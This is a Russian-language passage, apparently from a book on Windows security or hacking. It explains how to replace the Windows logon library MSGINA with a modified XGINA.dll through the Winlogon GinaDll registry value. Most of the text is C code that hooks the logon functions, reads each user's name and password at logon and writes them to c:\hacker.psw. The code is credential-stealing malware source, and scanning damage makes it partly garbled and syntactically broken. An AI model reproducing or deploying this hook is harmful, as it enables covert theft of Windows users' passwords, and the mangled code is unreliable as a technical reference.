Модифицированная библиотека Gina
Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).
Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись:
GinaDll = c:\xgina.dll.
XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:
WLXNEGOTIATE WLXINITIALIZE WLXDISPLAYSASNOTICE WLXLOGGEDOUTSAS WLXACTIVATEUSERSHELL WLXLOGGEDONSAS WLXISLOCKOK WLXDISPLAYLOCKEDNOTICE WLXWKSTALOCKEDSAS g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL; g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL; g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL; g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL; WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL; WLXLOGOFF .g_lpWlxLogoff " NULL; WLXSHUTDOWN g_lpWlxShutdown – NULL; BOOL InitMSGinaDllO {. hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL")); if (hMSGinaDLL == NULL) { return FALSE; } MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK); g_lpWlxNegotiate = (WLXNEGOTIATE)GetProcAddress(hMSGinaDLL, "WlxNegotiate"); g_lpWlxInitialize = (WLXINITIALIZE)GetProcAddress(hMSGinaDLL, "Wlxlnitialize"); g_lpWlxDisplaySASNotice = (WLXDISPLAYSASNOTICE) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice"); g_lpWlxLoggedOutSAS – = (WLXLOGGEDOUTSAS)GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS"); g_lpWlxActivateUserShell = (WLXACTIVATEUSERSHELL) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell"); g_lpWlxLoggedOnSAS = (WLXLOGGEDONSAS)GetProcAddress(hMSGinaDLL, "WlxLoggedOnSAS"); g_lpWlx!sLockOk = (WLXISLOCKOK)GetProcAddress(hMSGinaDLL, "WlxIsLockOk"); g_lpWlxDisplayLockedNotice = (WLXDISPLAYLOCKEDNOTICE) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice"); g_lpWlxWkstaLockedSAS = (-WLXWKSTALOCKEDSAS.) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS"); g_lpWlx!sLogoffOk = (WLXISLOGOFFOK)GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk"); g_lpWlxLogoff = (WLXLOGOFF)GetProcAddress(hMSGinaDLL, "WlxLogoff"); g_lpWlxShutdown = (WLXSHUTDOWN)GetProcAddress(hMSGinaDLL, "WlxShutdown"); MessageBox(NULL,_T("All Function Attach Succesfully"), _T ("GinaDebug"), MBJDK); return TRUE;
Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon PSID pLogonSid, //SID уникальный для текущей сессией logon PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile) //указатель на одну из структур WLX_PROFILE_xxx { ' int res,i; FILE *out; UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20.0}; UCHAR end[3]={OxD,OxA,0}; MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS( pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo, pProfile); if(res == WLX_SAS_ACTION_LOGON) { for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++) { if(pMprNotify!nfo › pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo › pszUserName[i]; //получение имени пользователя for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+) if(pMprNotify!nfo › pszPassword[i]==0) break; else current_pass[i]=pMprNotify!nfo › pszPassword[i]; //получение пароля пользователя out=fopen ("с: \\hacker.psw", "r+b"); if (out!=NULL) { f seek (out, 0, SEEK_END); //вывод имени пользователя в файл с: \\hacker.psw f write (cur rent_name, sizeof (char), strlen (current_name), out); fwrite (pro, sizeof (char), 1, out); //вывод пароля пользователя в файл с: \\hacker.psw fwrite (current_pass, sizeof (char), strlen (current_pass), out); fwrite (end, sizeof (char), 2, out); fclose (out); ' return res;